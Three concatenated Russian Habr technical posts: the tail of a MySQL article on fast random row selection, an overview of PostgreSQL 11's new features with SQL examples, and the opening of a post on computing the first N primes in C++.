> `SELECT * FROM `a` WHERE `f` = 231 ORDER BY RAND() LIMIT 10; -> (10 rows, Query took 0.0801 sec)
>
> SELECT * FROM `a` WHERE `f` = 231 ORDER BY RAND() LIMIT 10; -> (10 rows, Query took 0.0017 sec)`
Ага, второй раз получилась пересортированная выборка из кэша mysql. Если повторение результатов не сильно страшно, то сгодится и такой более шустрый результат, но лучше менять число f при каждом запросе.
Повторяю тест, изменяя f:
> `SELECT * FROM `a` WHERE `f` = 396 ORDER BY RAND() LIMIT 10; -> (10 rows, Query took 0.0147 sec)
>
> SELECT * FROM `a` WHERE `f` = 753 ORDER BY RAND() LIMIT 10; -> (10 rows, Query took 0.0020 sec)
>
> SELECT * FROM `a` WHERE `f` = 189 ORDER BY RAND() LIMIT 10; -> (10 rows, Query took 0.0019 sec)
>
> SELECT * FROM `a` WHERE `f` = 945 ORDER BY RAND() LIMIT 10; -> (10 rows, Query took 0.0235 sec)`
В общем производительность выборки поднялась в 120 раз и это без всякого рода усложнений. Я вижу в таком решении массу удобств:* не нужно лазить далеко в дебри и ломать голову «блин как эта у меня была… ах да процедура».
* простая интеграция ;) код запроса был усложнён всего одним условием.
* ну и третье назовём расширяемостью: добавь свои условия и ты ещё уменьшишь размер скана, увеличив тем самым скорость выборки.
Если одного промежутка 160 рядов нам не достаточно, то можно включить столько промежутков сколько угодно:
> `SELECT * FROM `a` WHERE `f` IN (100,500) ORDER BY RAND() LIMIT 10;`
Более жизненный пример
----------------------
Для такого примера возьмём верхний [комментарий из соседнего поста](http://habrahabr.ru/blogs/mysql/54176/#comment_1443821), который решается так. Эмитируем таблицу RSS-фидов, добавив поле feed содержащее номер фида:
> `ALTER TABLE `a` ADD `feed` TINYINT(1) UNSIGNED NOT NULL, ADD INDEX (`feed`);
>
> UPDATE `a` SET feed = RAND()*9;`
А теперь, собственно, финт ушами:
> `(SELECT * FROM `a` WHERE `f` = 283 AND `feed` = 0 ORDER BY RAND() LIMIT 10)
>
> UNION (SELECT * FROM `a` WHERE `f` = 283 AND `feed` = 1 ORDER BY RAND() LIMIT 10)
>
> UNION (SELECT * FROM `a` WHERE `f` = 283 AND `feed` = 2 ORDER BY RAND() LIMIT 10)
>
> UNION (SELECT * FROM `a` WHERE `f` = 283 AND `feed` = 3 ORDER BY RAND() LIMIT 10)
>
> UNION (SELECT * FROM `a` WHERE `f` = 283 AND `feed` = 4 ORDER BY RAND() LIMIT 10)
>
> UNION (SELECT * FROM `a` WHERE `f` = 283 AND `feed` = 5 ORDER BY RAND() LIMIT 10)
>
> UNION (SELECT * FROM `a` WHERE `f` = 283 AND `feed` = 6 ORDER BY RAND() LIMIT 10)
>
> UNION (SELECT * FROM `a` WHERE `f` = 283 AND `feed` = 7 ORDER BY RAND() LIMIT 10)
>
> UNION (SELECT * FROM `a` WHERE `f` = 283 AND `feed` = 8 ORDER BY RAND() LIMIT 10)
>
> UNION (SELECT * FROM `a` WHERE `f` = 283 AND `feed` = 9 ORDER BY RAND() LIMIT 10)
>
> ORDER BY feed; -> (97 rows, Query took 0.7973 sec)
>
> С другим f -> (99 rows, Query took 0.0093 sec)
>
> С другим f -> (98 rows, Query took 0.0197 sec)`
Тут желательно выбирать больше чем 10 рядов для верности ;) и фильтровать лишнее на PHP.
На PHP также желательно задавать число f, чтобы не делать по два запроса к MySQL серверу. Хотя, это не критично. Такое тоже будет работать очень быстро:
> `SET @rnd = RAND(); SELECT * FROM `a` WHERE `f` = @rnd ORDER BY RAND() LIMIT 10;`
Как вы видите, не только лишь усложнением можно добитсья оптимизации (в данной статье я оптимизировал скорость). Теперь вопрос вам на подумать, а мне в будущей статье изложить. Как можно оптимизировать качество произвольных выборок, прежде всего избавится от повторений? ;)
С уважением,
Маям. | https://habr.com/ru/post/55864/ | null | ru | null |
# По следам meetup «Новые возможности PostgreSQL 11»
Сегодня мы расскажем о самых главных фичах PostgreSQL 11. Почему только о них — потому что некоторые возможности нужны далеко не всем, поэтому мы остановились на самых востребованных.
### Содержание
* [JIT-компиляция](#1)
* [Секционирование](#2)
* [Индексы](#3)
* [Покрывающие индексы](#4)
* [SP GiST](#5)
* [Производительность](#6)
* [WAL](#7)
* [Бэкап и репликация](#8)
* [Для DBA](#9)
* [Параллельное выполнение](#10)
* [Оптимизаторы](#11)
* [Window-функции](#12)
* [Изменения в полнотекстовом поиске](#13)
* [Json(b) и полнотекст](#14)
* [PL/\* процедуры](#15)
* [pgbench](#16)
* [Улучшения PSQL](#17)
### JIT-компиляция
В PostgreSQL наконец-то появилась JIT-компиляция, то есть компиляция запросов в бинарный код. Для этого нужно скомпилировать PostgreSQL с поддержкой JIT-компиляции `(Compile time 1 (--with-llvm))`. При этом на машине должен быть LLVM версии не ниже 3.9.
Что же умеет ускорять JIT?
* Запросы с условием WHERE, то есть всё, что идёт после этого ключевого слова. Это нужно далеко не всегда, но возможность полезная.
* Вычисление целевого списка (target list): в терминологии PostgreSQL это всё, что находится между select и from.
* Агрегаты.
* Преобразование записи от одного вида к другому (Projection). Например, когда вы к двум таблицам применяете join и в результате получается новый кортеж, содержащий поля из обеих таблиц.
* Tuple deforming. Одна из проблем любой базы данных, по крайней мере, строчной, реляционной, заключается в том, как достать поле из записи на диске. Ведь там могут встречаться null, они имеют разные записи и вообще, это не самая дешевая операция.
`Compile time 2` означает, что JIT не используется. В PostgreSQL есть момент планирования запроса, когда система решает, что стоит JIT’ить, а что не стоит. В этот момент он JIT’ится и дальше executor выполняет, как есть.
JIT сделан подключаемым. По умолчанию он работает с LLVM, но вы можете подключить любой другой JIT.
Если вы скомпилировали PostgreSQL без поддержки JIT, то самая первая настройка не работает. Реализованы опции для разработчиков, есть настройки для отдельных функций JIT.
Следующий тонкий момент связан с jit\_above\_cost. Сам JIT не бесплатный. Поэтому PostgreSQL по умолчанию занимается JIT-оптимизацией, если стоимость запроса превысила 100 тыс. условных попугаев, в которых меряется explain, analyze и так далее. Это значение выбрано наугад, так что обратите на него внимание.
Но не всегда после включения JIT сразу всё работает. Обычно все начинают экспериментировать с JIT с помощью запроса select \* from table where id=600 и у них ничего не получается. Наверное, надо как-то усложнять запрос, и тогда все генерируют гигантскую базу и сочиняют запрос. В результате PostgreSQL упирается в возможности диска, ему не хватает ни ёмкости общих буферов, ни кэшей.
Вот совершенно абстрактный пример. Здесь 9 полей null с разной частотой, чтобы можно было заметить влияние tuple deforming.
`select i as x1,
case when i % 2 = 0 then i else null end as x2,
case when i % 3 = 0 then i else null end as x3,
case when i % 4 = 0 then i else null end as x4,
case when i % 5 = 0 then i else null end as x5,
case when i % 6 = 0 then i else null end as x6,
case when i % 7 = 0 then i else null end as x7,
case when i % 8 = 0 then i else null end as x8,
case when i % 9 = 0 then i else null end as x9
into t
from generate_series(0, 10000000) i;
vacuum t;
analyze t;`
Возможностей у PostgreSQL много, и чтобы увидеть преимущества JIT, отключим первые две строчки, чтобы не мешались, и обнуляем пороги.
`set max_parallel_workers=0;
set max_parallel_workers_per_gather=0;
set jit_above_cost=0;
set jit_inline_above_cost=0;
set jit_optimize_above_cost=0;`
Вот сам запрос:
`set jit=off;
explain analyze
select count(*) from t where
sqrt(pow(x9, 2) + pow(x8,2)) < 10000;
set jit=on;
explain analyze
select count(*) from t where
sqrt(pow(x9, 2) + pow(x8,2)) < 10000;`
И вот результат:
`Planning Time: 0.71 ms
Execution Time: **1986.323** ms
VS
Planning Time: 0.060 ms
JIT:
Functions: 4
Generation Time: 0.911 ms
Inlining: true
Inlining Time: 23.876 ms
Optimization: true
Optimization Time: 41.399 ms
Emission Time: 21.856 ms
Execution Time: **949.112** ms`
JIT помог ускорить запрос вдвое. Planning time приблизительно одно и то же, но это, скорее всего, следствие того, что PostgreSQL что-то закэшировал, поэтому не обращайте на это внимания.
Если просуммировать, то на JIT-компиляцию ушло порядка 80 мс. Почему JIT не бесплатный? Прежде чем выполнять запрос, нужно его скомпилировать, а это тоже занимает время. Причём на три порядка больше, чем планирование. Недешевое удовольствие, но зато окупается за счёт длительности исполнения.
Вот таким образом можно использовать JIT, хотя он приносит пользу далеко не всегда.
### Секционирование
Если вы обращали внимание на секционирование в PostgreSQL, то, наверное, замечали, что оно там сделано для галочки. Ситуация несколько улучшилась в версии 10, когда появилось декларативное объявление партиций (секций). С другой стороны, внутри всё оставалось по-старому и работало примерно так же, как и в предыдущих версиях, то есть плохо.
Во многом эту проблему решал модуль pg\_pathman, который позволял работать с секциями и достаточно оптимально отсекать их во время выполнения.
В версии 11 секционирование значительно улучшено:
* Во-первых, таблица секционирования может иметь первичный ключ, в который должен входить ключ секционирования. На самом деле, это то ли полупервичный ключ, то ли первичный полуключ. К сожалению, на него нельзя сделать foreign key. Надеюсь, в дальнейшем это будет поправлено.
* Также теперь можно секционировать не только по диапазону, но и по списку и хэшу. Хэш достаточно примитивный, для него берётся остаток выражения.
* При обновлении строка перемещается между секциями. Раньше нужно было писать триггер, а сейчас это делается автоматически.
Большой вопрос: сколько можно иметь секций? Честно говоря, с большим количеством секций (тысячи и десятки тысяч) фича работает плохо. У pg\_pathman получается лучше.
Также сделали секции по умолчанию. Опять же, в pg\_pathman можно сделать автоматическое создание секций, что удобнее. Здесь же в секции сваливается всё, что не удалось куда-нибудь запихнуть. Если в реальной системе сделать такое по умолчанию, то через какое-то время получится такая каша, которую потом замучаешься разгребать.
PostgreSQL 11 теперь умеет оптимизировать секционирование, если две таблицы соединяются по ключу секционирования, и схемы секционирования совпадают. Этим управляет специальный параметр, который по умолчанию выключен.
Можно вычислять агрегаты для каждой секции отдельно, а потом суммировать. И наконец, можно создать индекс на родительскую секционированную таблицу, и тогда будут созданы локальные индексы на все таблицы, которые к ней подключены.
В разделе «Что нового» упомянута замечательная вещь — возможность выкидывать секции при выполнении запроса. Давайте проверим, как это работает. Получилась вот такая таблица:
Делаем тип и таблицу из двух колонок с первичным ключом, с колонкой bigserial, вставляем данные. Создаем вторую таблицу, которая будет партиционирована и будет копией первой. Добавляем первичный ключ на секционированную таблицу.
Таблица будет состоять из записей двух типов: «женщины-няни» и «мужчины-водители». И будет одна женщина-водитель. Делаем две секции, разделяем по списку, добавляем первичный ключ и вставляем все данные из той таблицы, в которой всё это сгенерировано. Результат получился совершенно неинтересный:
Обратите внимание на запрос. Мы выбираем всё из несекционированной таблицы, соединяем с секционированной. Берем небольшой кусочек и выбираем только один тип, они идут через один. Указываем, что колонка осс должна иметь одно значение. Получается выборка сплошных водителей.
При выполнении мы специально отключаем распараллеливание, потому что PostgreSQL 11 по умолчанию очень активно распараллеливает более-менее сложные запросы. Если мы посмотрим на план выполнения (explain analyze), то видно, что система сложила даные в обе секции: и в няней, и в водителей, хотя нянь там не было. К буферу обращений не было. Время потрачено, условие использовано, хотя PostgreSQL мог всё это вычислить. То есть, объявление partition elimination сходу не работает. Возможно, в следующих сборках это поправят. При этом модуль pg\_pathman в этом случае работает без проблем.
### Индексы
* Оптимизации ставки в монотонном порядке, то есть b-tree. Все знают, что когда вставляешь монотонно растущие данные, то получается не очень быстро. Сейчас PostgreSQL умеет особым образом кэшировать концевую страницу и не проходить для вставки весь путь от корня. Это заметно ускоряет работу.
* В версии PostgreSQL 10 хэш-индексом стало можно пользоваться, потому что он начал применять WAL (журнал упреждающей записи). Раньше мы получали значение, разблокировали страницу, возвращали значение. Для следующего значения нужно было снова блокировать страницу, возвращать, разблокировать и так далее. Сейчас хэш стал работать значительно быстрее. Он позволяет для получения записи из хэш-индекса за один раз блокировать страницу, выдать оттуда все значения и разблокировать. Сейчас это реализовано для HASH, GiST и GIN. В будущем это будет, возможно, реализовано для SP-GiST. А для BRIN с его min/max логикой сделать такое нельзя в принципе.
* Если раньше вы строили функциональные индексы, то у вас эффективно отключался HOT update (Heap Only Tuple). Когда в PostgreSQL обновляется запись, на самом деле создаётся новая копия, и это требует вставки во все индексы, которые имеются в таблице, чтобы новое значение указывало на новый tuple. Достаточно давно реализована такая оптимизация: если при обновлении не меняются поля, которые не входят в индексы, и есть свободное место на этой же странице, то индексы не обновляются, а в старой версии tuple ставится указатель на новую версию. Это позволяет несколько снизить остроту проблему с обновлениями. Однако такая оптимизация совершенно не работала, если у вас есть функциональные индексы. В PostgreSQL 11 она начала работать. Если вы построили функциональный индекс и обновляете tuple, который не меняет то, от чего зависит функциональный индекс, то HOT update будет работать.
### Покрывающие индексы
Эта функциональность была реализована PostgresPro три года назад, и всё это время ее пытались добавить PostgreSQL. Покрывающие индексы означают, что вы можете к уникальному индексу, прямо в индексные tuple, добавить дополнительные колонки.
Зачем? Все любят index-only scan за быструю работу. Для этого строят условно «покрывающие» индексы:
Но при этом нужно сохранить уникальность. Поэтому строится два индекса, узкий и широкий.
Недостаток в том, что когда вы применяете к таблице vacuum, insert или update, то в обязательном порядке нужно обновить оба индекса. Так что вставка в индекс — операция медленная. А покрывающий индекс позволит обойтись только одним индексом.
Правда, у него есть некие ограничения. Точнее, преимущества, которые, может быть, будут не сразу понятны. Колонки c и d в первом create index не обязаны быть скалярными типами, для которых определен b-tree индекс. То есть, они необязательно имеют сравнение «больше-меньше». Это могут быть точки или полигоны. Единственное, кортеж должен быть меньше 2,7 Кб, потому что toasting в индексе нет, но туда можно уместить то, что невозможно сравнить.
Однако, внутри индекса с этими гарантировано покрытыми колонками не производится никаких вычислений при поиске. Это должен делать фильтр, который стоит над индексом. С одной стороны, почему бы ему не вычислять это внутри индекса, с другой стороны, это лишний вызов функции. Но всё не так страшно, как кажется.
Ну и кроме того, вы можете эти покрытые колонки добавить в первичный ключ.
### SP GiST
Этот индекс мало кто использует, потому что он достаточно специфичен. Тем не менее, появилась возможность хранить в нём не совсем то, что вставили. Имеется в виду lossy — индекс, компрессия. В качестве примера возьмём полигоны. Вместо них в индекс кладётся bounding box, то есть минимальный прямоугольник, который содержит нужный полигон. В данном случае мы представляем прямоугольник как точку в четырехмерном пространстве, и дальше работаем классическим quad3, в четырехмерном пространстве.
Также для SP-GiST ввели операцию «префиксный поиск». Она возвращает true, если одна строка является префиксом другой. Ввели это не просто так, а ради вот такого запроса с поддержкой SP-GiST.
`SELECT * FROM table WHERE c ^@ „abc“`
В b-tree есть лимит 2,7 Кб на всю строчку, а у SP-GiST такого ограничения нет. Правда, есть ограничение у PostgreSQL: одно значение не может превышать 1 Гб.
### Производительность
* Появился **bitmap index only scan**. Он работает так же, как классический index only scan, за исключением того, что не может гарантировать никакого порядка. Поэтому он применим только для каких-то агрегатов типа count (\*), ведь bitmap не способен передавать поля из индекса в executor. Он может только сообщить о факте записи, удовлетворяющей условиям.
* Следующее нововведение — **обновление Free Space Map (карты свободных страниц) во время применения vacuum**. К сожалению, никто из разработчиков систем, работающих с PostgreSQL, не задумывается, что удалять надо в конце таблицы, иначе появляются дыры, незанятое пространство. Чтобы это отслеживать реализовали FSM, которая позволяет не увеличивать таблицу, а вставлять tuple в пустоты. Раньше это делалось с помощью vacuum, но уже в конце. А сейчас vacuum способен это делать в процессе работы, и в высоконагруженных системах это помогает держать размер таблицы под контролем.
* **Возможность пропуска сканирования индекса во время выполнения vacuum**. Дело в том, что все индексы PostgreSQL, согласно теории баз данных, называются вторичными. Это значит, что индексы хранятся в стороне от таблицы, в неё из них ведут указатели. Index only scan позволяет не делать этого прыжка по указателям, а забирать из индекса напрямую. Но vacuum, который удаляет записи, не может глядя на них в индексе решить, стоит удалять или нет, просто потому, что в индексе нет таких данных. Поэтому vacuum всегда выполняется в два прохода. Сначала проходит по таблице и узнаёт, что ему нужно удалить. Потом идет в индексы, привязанные к этой таблице, удаляет записи, которые ссылаются на найденное, возвращается к таблице и удаляет то, что собирался. И стадия хождения в индексы не всегда обязательна.
Если со времени последнего vacuum не было delete или update, то у вас нет мертвых записей, их не нужно удалять. В этом случае в индекс можно не ходить. Там есть дополнительные тонкости, b-tree удаляет свои страницы не сразу, а в два прохода. Поэтому, если вы удалили много данных в таблице, то vacuum делать нужно. Но если вы хотите освободить место в индексах, то сделайте vacuum дважды.
Кто-то удивится, что это за таблица, в которой не было delete или update? На самом деле многие имеют с этим дело, только не задумываются. Это таблицы append only, куда складываются, например, логи. В них удаление происходит крайне редко. И это сильно экономит продолжительность vacuum/autovacuum, снижает нагрузку на диск, использование кэшей и так далее.
* **Одновременный commit конкурентных транзакций**. Это не нововведение, а улучшение. Теперь PostgreSQL обнаруживает, что сейчас будет коммититься, и задерживает commit текущей транзакции, ожидая остальные коммиты. Обратите внимание, что эта фича оказывает мало эффекта, если у вас небольшой сервер с 2—4 ядрами.
* **postgres\_fdw (Foreign Data Wrappers)**. FDW — это способ подключения внешнего источника данных так, чтобы он выглядел как настоящий постгрессовый. postgres\_fdw позволяет подключить к своему экземпляру таблицу из соседнего экземпляра, и она будет выглядеть почти как настоящая. Теперь снято одно из ограничений для update и delete. Зачастую PostgreSQL может догадаться, что нужно отправлять не сырые данные. Способ выполнения запроса с join достаточно прост: выполняем его у себя на машине, вытаскиваем из экземпляра таблицу с помощью FDW, выясняем id primary key, который нужно удалить, и потом применяем update и/или delete, то есть данные у нас ходят туда и обратно. Сейчас это возможно сделать. Конечно, если таблицы на разных машинах, это не так легко, но FDW позволяет сделать так, чтобы удаленная машина выполнила операции, а мы просто ждали.
* **toast\_tuple\_target**. Бывают ситуации когда данные чуть-чуть выходят за пределы, после которых надо toast’ить, но при этом toast таких значений не всегда приятен. Допустим, у вас предел 90 байтов, а вам нужно уместить 100. Приходится ради 10 байтов заводить toast, отдельно их складывать, потом при select этого поля нужно обращаться к toast-индексу, узнать, где лежат нужные данные, пойти в toast-таблицу, собрать и отдать.
Теперь с помощью тонкой настройки можно поменять это поведение для всей базы данных или отдельной таблицы, чтобы вот такие маленькие выходы за рамки не требовали применения toast. Но вы должны понимать, что делаете, без этого ничего не получится.
### WAL
* WAL (Write ahead log) — это журнал упреждающей записи. Размер WAL-сегмента теперь задается в initdb. Слава богу, не при компилировании.
* Также поменялась логика. Раньше комплект WAL-сегментов сохранялся с момента предпоследнего checkpoint’а, а теперь с последнего. Это позволяет заметно сократить объём хранимых данных. Но если у вас база данных на 1 Тб, а TPS = 1, то есть один запрос в секунду, то разницы вы не увидите.
### Бэкап и репликация
* **В логической репликации появилась truncate**. Она была последней из DML операций, которая не отражалась в логической репликации. Теперь отражается.
* **В логической репликации появилось сообщение о prepare**. Теперь можно отловить prepare transaction, двухфазный коммит в логической репликации. Это реализовано ради построения кластеров — гетерогенных, гомогенных, шардированных и не шардированных, мультимастеров и так далее.
* **Исключение из pg\_basebackup временных и unlogged таблиц**. Многие жаловались, что pg\_basebackup включает в себя перечисленные таблицы. А исключив их, мы уменьшаем размер резервной копии. Но при условии, что вы используете временные и unlogged таблицы, в противном случае эта опция будет вам бесполезна.
* **Контроль чексуммы в потоковой репликации (для таблиц)**. Это позволяет понимать, что у вас произошло с репликой. Пока функция реализована только для таблиц.
* **Появилась промотка позиций replication slot**. Как всегда можно мотать только вперед по времени, назад только если есть WAL. Более того, нужно очень хорошо понимать, что вы с этим делаете и почему. На мой взгляд, это больше разработческая опция, но те, кто использует логическую репликацию для каких-нибудь экзотический применений, могут ей порадоваться.
### Для DBA
* **Alter table, add column, not null default X**, записать всю таблицу. За это есть небольшая плата: дефолтное значение хранится отдельно. Если вы поднимаете tuple и требуете эту колонку, то PostgreSQL вынужден идти по дополнительному пути кодирования, чтобы выдернуть временное значение, подставить его в tuple и отдать вам. Тем не менее, с этим можно жить.
* **Vacuum/analyze**. Раньше можно было применять vacuum или analyze только ко всей базе данных или одной таблице. Теперь появилась возможность сделать это к нескольким таблицам, причём одной командой.
### Параллельное выполнение
* **Параллельное построение b-tree индексов**. В версии 11 стало возможно встроить b-tree индексы в несколько воркеров. Если у вас действительно хорошая машина, много дисков и много ядер, то можно строить индексы параллельно, это обещает заметный рост производительности.
* **Параллельное соединение по хэшу с использованием общей хэш-таблицы для исполнителей**. Проблема была в том, что для каждого воркера нужно было держать свою отдельную локальную хэш-таблицу. Если таблица небольшая, то никаких трудностей не возникает. Но если хэш-таблица огромная, это превращалось в заметную проблему. Теперь можно использовать общую таблицу.
* Кроме того, **в некоторых случаях теперь можно распараллелить union, create table as, select и create materialized view!**
* Наконец-то **появилась передача ограничений (limit) в параллельные исполнители**. Тоже очень полезная вещь.
Пример параллельного создания индексов:
`alter table usr reset (parallel_workers)
create index on usr(lower((so).occ)) — 2 сек
alter table usr set (parallel_workers=2)
create index on usr(upper((so).occ)) — 1.8 сек`
У таблицы есть параметр parallel worker. С его помощью можно задать нужное количество воркеров. На тестируемой машине с 16 Гб памяти и 4 ядрами (таблица влезает в кэш ОС) создание в один поток занимает 2 сек., с двумя воркерами — 1,8 сек. Будь в налличии много дисков, и таблица покрупнее, то разница была бы ощутимее. То есть, это нововведение полезно для больших серьезных таблиц и серверов.
А вот пример распараллеливания запроса:
`explain analyze
select u1.* from usr u, usr1 u1 where
u.id=u1.id+0`
Это две таблицы из тех, которые упомянуты в главе про секционирование. Напоминаем, user — это обычная таблица, секционированная на две части. Обратите внимание на условия соединения. Мы специально добавляем ноль, чтобы соединение произошло не по индексу, а по хэшу.
Мы специально выключаем параллельное выполнение, потому что PostgreSQL 11 в этом плане весьма агрессивен и имеет большую склонность к распараллеливанию.
Этот запрос выполнялся 1425 мс, почти 1,5 сек. Запрос внутри обрабатывался 1,4 сек. Выбрано 2 млн строк. Для сравнения, в версии 9.6 было эмпирическое правило: 1 млн не очень больших строк — примерно 1 сек., а тут 2 млн за 1 сек. Это связано с тем, что в версии 10 ускорили обращение к tuple. А в версии 11 обращение ещё больше ускорено. В этом примере получилось соединение по хэшированию: сначала собрали хэш из таблицы user, получился один batch, оттуда с помощью x-scan выбраны данные и с помощью append собраны две таблицы.
Следующий вариант параллельного выполнения:
Посмотрим время выполнения. В верхнем узле система начала отдавать данные через 211 мс, закончила через 702 мс. В предыдущем варианте, начала отдавать через 510 мс и закончила через 1473. То есть и первая, и последняя строки отданы в 2 раза быстрее.
Теперь соединим с помощью parallel hash join. Было поднято два воркера на верхнем уровне. Ограничение по числу процессоров — 4. Один воркер строил паралел хэш, второй выбирал из другой таблицы.
В таблице parallel index scan всё весьма агрессивно распараллелилось. Данные поместились в один batch в хэше. Что это означает? У нас может не хватить памяти для hash join, и тогда система может выполнять задачу в несколько проходов. Таблица user прочитана в два потока. Также в два потока мы читали другую таблицу, строили parallel hash, который уже работает.
Время выполнения стало меньше 1 сек. Есть мнение, что параллельное выполнение надо применять для OLAP-задач, а OLTP выполнять последовательно. Но это если OLTP совсем тупой, вроде получения значения по первичному ключу.
### Оптимизаторы
Радикальных изменений здесь почти не произошло.
* Улучшен сбор статистики для неравномерно распределенных значений. Как вы помните, в таблице с нянями и водителями есть одна строка с женщиной водителем. Если мы захотим выбрать все строки, в которых специальность «водитель» и пол «женщина», то сервер неожиданно врубит index scan, потому что выборка совсем маленькая. Для таких случаев (highly skewed data), когда из очень большой таблицы нас интересуют считанные значения, рекомендуется делать условный индекс. Это хорошо работает во всех случаях. И также переработана гистограмма, теперь она строится корректнее, показывает более точные данные.
* Несколько лучше теперь собирается статистика по «неравно», аккуратнее получается предсказание.
### Window-функции
Они теперь соответствуют стандарту SQL:2011, и появилась возможность задавать группы ограничений.
### Изменения в полнотекстовом поиске
Как вы знаете, есть несколько способов написания полнотекстовых запросов, в том числе руками. Очевидно, что у того, кто это пытался сделать, всё получалось, но потом он стрелялся, либо его пользователи убивали.
Теперь появился websearch, который сделан по образу поисковиков. Он точно никогда не выдаст ошибку, что у вас неправильный запрос. Вместо этого он может интерпретировать не совсем так, как вы ожидали.
`# select websearch_to_tsquery('dog or cat');
----------------------
'dor' | 'cat'
# select websearch_to_tsquery('dog -cat');
----------------------
'dor' & !'cat'
# select websearch_to_tsquery('or cat');
----------------------
'cat'`
Первый пример — dog or cat — собака или кошка. Websearch понимает суть и формирует такой запрос. Второй запрос видит символ | и понимает, что мы хотим найти только про собаку. И третий запрос “or cat”. Тут трудно сказать, что хотел пользователь. В данном случае websearch трактует “or” как слово. Другое дело, что оно является стоп-словом, поэтому выкинуто из запроса.
Websearch — это средство построения полнотекстового поиска. В следующих версиях планируется реализовать две операции: поиск по фразе и по расстоянию между словами, с указанием диапазона. Сейчас ищет по точному вхождению, понимает двойные кавычки.
### Json(b) и полнотекст
В 10-й версии появилась индексация всех текстов, а в 11-й добавилась индексация и численных полей. Реализована функция для json и json(b), которая порождает tsvector. Второй аргумент (тоже json(b)) обязателен из-за требований полиморфизма. Сейчас это может быть либо скаляр, либо массив названий того, что хотим проиндексировать, поля bull, numeric, string, ключи. Всё это можно указывать вместе.
`# select jsonb_to_tsvector
('{"a":"texts", "b":12}', '"string"');
-------------------
'text':1
# select jsonb_to_tsvector
('{"a":"texts", "b":12}', '["string", "numeric"]');
-------------------
'12':3 'text':1`
Мы намеренно используем здесь json(b), чтобы в будущем можно было безболезненно расширить функциональность. Хотя аргументов в виде исполняемого кода, который извлекает то, что нужно проиндексировать, не будет никогда.
### PL/\* процедуры
В некоторых языках появились процедуры.
`CREATE PROCEDURE transaction_test1()
LANGUAGE plpgsql
AS $$
BEGIN
FOR i IN 0..9 LOOP
INSERT INTO test1 (a) VALUES (i);
IF i % 2 = 0 THEN
COMMIT;
ELSE
ROLLBACK;
END IF;
END LOOP;
END
$$;
CALL transaction_test1();`
Вызывать их можно с помощью call, но основное преимущество процедур сегодня в том, что прямо внутри них можно начинать и заканчивать транзакции. Побочным следствием будет невозможность вызова процедуры внутри транзакции. Процедура должна работать вне транзакции. Она не может участвовать внутри select, insert и так далее.
Это не автономная транзакция, это просто вызов функции, которая внутри PostgreSQL может создать несколько транзакций. Она доступна для Perl, Python, TСL и PL/pgSQL. В языках типа Perl нужно явно использовать sp begin, без этого вы просто не сможете обратиться к базе.
PL/pgSQL немного отличается от остальных: он начинает транзакцию неявно, а остальные языки явно.
### pgbench
Была цель реализовать на pgbench функциональность ICSB bench — инструмента, моделирующего сетевую нагрузку, но не хватило всевозможных функций и операторов. В результате реализовано if, который позволяет выбирать в тесте, какой запрос вы хотите выполнить. Появился case, чтобы можно было прямо в запросе что-то поменять. Появилась трассировка `--init-steps`, чтобы можно было узнать, что там происходит.
Теперь можно для повышения стабильности ваших бенчмарков указать random-seed. Появилось несколько zipfian-распределений цифр. Действия пользователей в соцсетях/интернете — это неравномерные распределения, не Гауссиана и не распределение Пуассона. Они по какой-то причине подчиняются распределению цифр, поэтому оно подходит для написания тестов, моделирующих какую-то нагрузку, генерируемую людьми.
Наконец, появился хэшинг, чтобы повысить случайность каких-то операций.
### Улучшения PSQL
Для тех, кто застревает в PSQL, теперь есть два новых способа выйти из него. Можно просто напечатать exit или quit.
* Следующее улучшение — исправление ошибки в copy, теперь можно одновременно вставить больше 232 строк. У copy было странное и очень подлое ограничение: он совершенно незаметно вставлял каждую 232-ю строчку. Забавно, что при вставке от 231 до 232 copy рапортовал о вставке отрицательного количества. Теперь счетчик сделали 64-битным в надежде, что вы не будете вставлять 264 строк.
* В POSIX внесены изменения: совершенно неожиданное NaN0 = 1 и 1NaN= 1. | https://habr.com/ru/post/414031/ | null | ru | null |
# Алгоритм нахождения N первых простых чисел
В процессе обучения программированию я столкнулся с задачей поиска 1M первых простых чисел.
На Хабре уже не раз писали об этом. Но, чаще всего, речь шла о поиске всех простых чисел до числа *N*. Я же расскажу о том, как решал задачу нахождения *N* первых простых чисел.
На первый взгляд может показаться, что разницы в этих задачах практически нет. И это действительно так, пока мы не поймем, что перебор делителей справляется с задачей крайне плохо.
В результате проведенной работы на поиск 1 миллиона простых чисел у меня уходит всего 0,262 секунды, что, конечно же, не предел, но уже впечатляет. Алгоритм реализован на C++.
Как и автор предыдущей статьи [о простых числах](http://habrahabr.ru/blogs/algorithm/122538/), я начал решать задачу лоб в лоб. Итак, простое число *p* — то, что имеет два делителя — единицу и *p*. Первое, что приходит в голову — проверять каждое число делением на все предыдущие числа.
Идея, как оказалось, плохая. Понял я это после первых 30 минут работы программы в поисках миллиона простых. Результаты получились такие:
10 000 — 2,349 с.
100 000 — 293,552 с.
1 000 000 — не дождался
Как и в уже упомянутой выше статье я принялся за оптимизацию алгоритма. Во-первых, проверять четные числа не имеет смысла, ведь 2 — единственное простое четное число. То же самое с делителями — на четные можно не проверять. В-третьих, в качестве делителей достаточно брать числа не превышающие половину проверяемого числа. Вот, что из этого вышло:
`> // Listing 1
>
>
>
>
>
> #include
>
>
> #include
>
>
> #include
>
>
>
>
>
> using namespace std;
>
>
>
>
>
> int main()
>
>
> {
>
>
> clock\_t start = clock();
>
>
>
>
>
> const int AIM = 10000;
>
>
>
>
>
> vector<int> prime\_nums;
>
>
> prime\_nums.push\_back(2);
>
>
>
>
>
> for (int num = 3; prime\_nums.size() < AIM; num += 2)
>
>
> {
>
>
> bool isprime = true;
>
>
> for (int i = 3; i <= num / 2; i += 2)
>
>
> {
>
>
> if (num % i == 0)
>
>
> {
>
>
> isprime = false;
>
>
> break;
>
>
> }
>
>
> }
>
>
>
>
>
> if (isprime)
>
>
> prime\_nums.push\_back(num);
>
>
> }
>
>
>
>
>
> cout << prime\_nums[AIM - 1];
>
>
>
>
>
> clock\_t end = clock();
>
>
> cout << "\n----------------" << endl;
>
>
> cout << "Time: " << double(end - start) / CLOCKS\_PER\_SEC << " sec" << endl;
>
>
> }`
Стало лучше, но миллиона я так и не смог дождаться
10 000 — 0,589 с.
100 000 — 72,662 с.
1 000 000 — после 20 минут ждать перестал
